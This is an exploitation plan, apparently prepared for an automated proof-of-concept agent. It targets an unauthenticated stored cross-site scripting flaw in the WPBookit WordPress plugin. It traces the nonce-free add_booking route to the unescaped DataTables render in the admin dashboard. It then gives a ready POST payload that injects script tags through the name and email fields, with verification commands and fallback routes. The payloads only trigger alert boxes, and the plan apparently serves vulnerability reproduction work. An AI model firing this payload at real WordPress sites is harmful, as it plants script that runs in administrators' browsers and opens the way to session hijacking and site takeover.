WPBookit <= 1.0.8 - Unauthenticated Stored Cross-Site Scripting via 'wpb_user_name' and 'wpb_user_email' Parameters

This plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the WPBookit plugin (<= 1.0.8). The vulnerability exists because unauthenticated users can submit booking requests containing malicious scripts in the wpb_user_name and wpb_user_email parameters, which are subsequently rendered without escaping in the WordPress administrative dashboard.

1. Vulnerability Summary

• Vulnerability: Unauthenticated Stored Cross-Site Scripting (XSS).
• Target Parameters: wpb_user_name, wpb_user_email.
• Vulnerable Component: The add_booking AJAX route handled by WPB_Bookings_Controller@add_booking.
• Sink: The admin dashboard pages for "Bookings" and "Guest Users," where the injected strings are rendered via JavaScript template literals in DataTables (Booking.js and Guest-Users.js).
• Reason: The plugin fails to sanitize user input before storage and fails to escape the data before rendering it in the admin interface via JavaScript.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: wpb_ajax_post
• Route Name: add_booking
• Authentication: None (Unauthenticated).
• Preconditions: The plugin must be active. At least one "Booking Type" (calendar) should ideally exist, though the injection may occur even if the booking fails, as long as the guest data is processed.

3. Code Flow

1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=wpb_ajax_post.
2. Route Handling: WPB_Routes_Handler::wpb_ajax_post (in class.wpb-admin-routes-handler.php) catches the request.
3. Route Definition: It looks up the add_booking route in class.wpb-admin-routes.php.

   'add_booking' => [
       'method' => 'post',
       'action' => 'WPB_Bookings_Controller@add_booking',
       'nonce' => 0, // No nonce required
       'module' => 'bookings-controller'
   ],
   

4. Processing: Since nonce is 0, the handler skips nonce verification and calls WPB_Bookings_Controller::add_booking.
5. Storage: The controller processes wpb_user_name and wpb_user_email and stores them in the database (typically in a guests or bookings table).
6. Admin Rendering (The Sink):
   • An administrator navigates to the "Bookings" page.
   • Booking.js performs an AJAX GET request to the booking_list route.
   • The server returns JSON containing the malicious strings.
   • The DataTable render function in Booking.js injects the strings into the DOM:

     "render": function (data, type, row) {
         return `<div class="d-flex align-items-center gap-3">
             ...
             <h6 class="iq-sub-label">${data}</h6> // data is wpb_user_name
             <p class="mb-0">${row.email}</p> // email is wpb_user_email
         </div>`;
     }
     

4. Nonce Acquisition Strategy

• Analysis: According to core/admin/classes/class.wpb-admin-routes.php, the add_booking route explicitly sets 'nonce' => 0.
• Bypass: In WPB_Routes_Handler::wpb_ajax_post, the code checks if ($route['nonce'] === 1). Since it is 0, the entire nonce verification block is bypassed.
• Conclusion: No nonce is required for this exploit.

5. Exploitation Strategy

The exploit will be delivered via a single unauthenticated POST request.

Step 1: Identify/Create a Booking Type (Optional but recommended)
The plugin needs a valid wpb_booking_type ID. If none exists, the request might fail.

• Check existing booking types: wp post list --post_type=wpb_booking_type (if stored as CPT) or check the table wp_wpbookit_booking_types.

Step 2: Submit Malicious Booking
Send the payload using the http_request tool.

• URL: https://<target>/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Payload:

  action=wpb_ajax_post
  &route_name=add_booking
  &wpb_user_name=<script>alert('XSS_NAME')</script>
  &wpb_user_email=attacker@example.com"><script>alert('XSS_EMAIL')</script>
  &wpb_booking_type=1
  &wpb_booking_date=2025-12-30
  &wpb_booking_slot_time=10:00-11:00
  &wpb_phone_number=1234567890
  

6. Test Data Setup

1. Activate Plugin: Ensure wpbookit is installed and active.
2. Create Booking Type: If the plugin is fresh, create at least one booking type so an ID exists.
   • wp eval "/* Logic to insert a row into wpb_booking_type table if needed */"
3. Note for PoC Agent: The unauthenticated add_booking route is the primary target. Even if the booking itself fails due to date/time constraints, the plugin often registers the "Guest" details first.

7. Expected Results

• The server should respond with a JSON object (likely {"status": true, ...} or a success message).
• The malicious strings will be stored in the database.
• When an admin logs in and visits wp-admin/admin.php?page=wpbookit-bookings or the Guest Users page, the browser will execute alert('XSS_NAME').

8. Verification Steps

1. Check Database: Use WP-CLI to verify the payload is stored.

   wp db query "SELECT guest_name, guest_email FROM wp_wpbookit_guests ORDER BY id DESC LIMIT 1;"
   

2. Check AJAX Response: Simulate the admin's view by requesting the booking list (requires admin cookies).

   # (In script) Log in as admin, then:
   http_request "https://<target>/wp-admin/admin-ajax.php?action=wpb_ajax_get&route_name=get_guest_list"
   

   Verify the output contains the unescaped <script> tags.

9. Alternative Approaches

• If add_booking fails: Try the register_customer route.
  • In class.wpb-admin-routes.php, register_customer also has nonce => 0.
  • Endpoint: action=wpb_ajax_post&route_name=register_customer.
  • This might also populate the Guest or Customer lists seen by the admin.
• DOM Sink Verification: If alert() is blocked/fails, use browser_navigate to the bookings page and check for the presence of the script tag in the rendered DOM using browser_eval.